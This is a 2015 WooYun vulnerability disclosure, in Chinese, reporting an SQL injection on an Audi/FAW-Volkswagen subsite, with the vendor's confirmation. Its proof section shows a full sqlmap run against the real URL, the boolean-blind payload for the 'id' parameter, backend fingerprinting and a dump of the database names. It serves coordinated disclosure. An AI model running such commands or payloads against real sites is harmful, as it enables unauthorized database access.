当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146802

漏洞标题:一汽-大众某分站存在SQL漏洞

相关厂商:一汽-大众

漏洞作者: 抚琴听海

提交时间:2015-10-14 21:44

修复时间:2015-12-03 08:04

公开时间:2015-12-03 08:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-14: 细节已通知厂商并且等待厂商处理中
2015-10-19: 厂商已经确认,细节仅向厂商公开
2015-10-29: 细节向核心白帽子及相关领域专家公开
2015-11-08: 细节向普通白帽子公开
2015-11-18: 细节向实习白帽子公开
2015-12-03: 细节向公众公开

简要描述:

没有深入 点到为止

详细说明:

点到为止

漏洞证明:

[root@Hacker~]# Sqlmap -u http://uc.audi.cn/Audi/CarInfo.aspx?id=6 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:56:43
[20:56:43] [INFO] testing connection to the target url
[20:56:44] [INFO] testing if the url is stable, wait a few seconds
[20:56:45] [INFO] url is stable
[20:56:45] [INFO] testing if GET parameter 'id' is dynamic
[20:56:45] [INFO] confirming that GET parameter 'id' is dynamic
[20:56:46] [INFO] GET parameter 'id' is dynamic
[20:56:46] [WARNING] reflective value(s) found and filtering out
[20:56:46] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[20:56:46] [INFO] testing for SQL injection on GET parameter 'id'
[20:56:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:56:47] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[20:56:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[20:56:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:56:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[20:56:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[20:56:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[20:56:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[20:56:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[20:56:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[20:56:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[20:56:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[20:56:49] [INFO] testing 'Oracle AND time-based blind'
[20:56:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[20:56:49] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[20:56:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:56:53] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[20:56:58] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 62 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=6 AND 6585=6585
---
[20:57:00] [INFO] testing MySQL
[20:57:00] [WARNING] the back-end DBMS is not MySQL
[20:57:00] [INFO] testing Oracle
[20:57:00] [WARNING] the back-end DBMS is not Oracle
[20:57:00] [INFO] testing PostgreSQL
[20:57:00] [WARNING] the back-end DBMS is not PostgreSQL
[20:57:00] [INFO] testing Microsoft SQL Server
[20:57:01] [INFO] confirming Microsoft SQL Server
[20:57:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:57:01] [INFO] fetching database names
[20:57:01] [INFO] fetching number of databases
[20:57:01] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[20:57:01] [INFO] retrieved: 8
[20:57:03] [INFO] retrieved: Audi_UsedCar
[20:57:24] [INFO] retrieved: auto
[20:57:33] [INFO] retrieved: master
[20:57:44] [INFO] retrieved: model
[20:57:53] [INFO] retrieved: msdb
[20:58:02] [INFO] retrieved: ReportServer
[20:58:23] [INFO] retrieved: ReportServerTempDB
[20:58:54] [INFO] retrieved: tempdb
available databases [8]:
[*] Audi_UsedCar
[*] auto
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

修复方案:

版权声明:转载请注明来源 抚琴听海@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-19 08:02

厂商回复:

感谢关注!

最新状态:

暂无


漏洞评价:

评价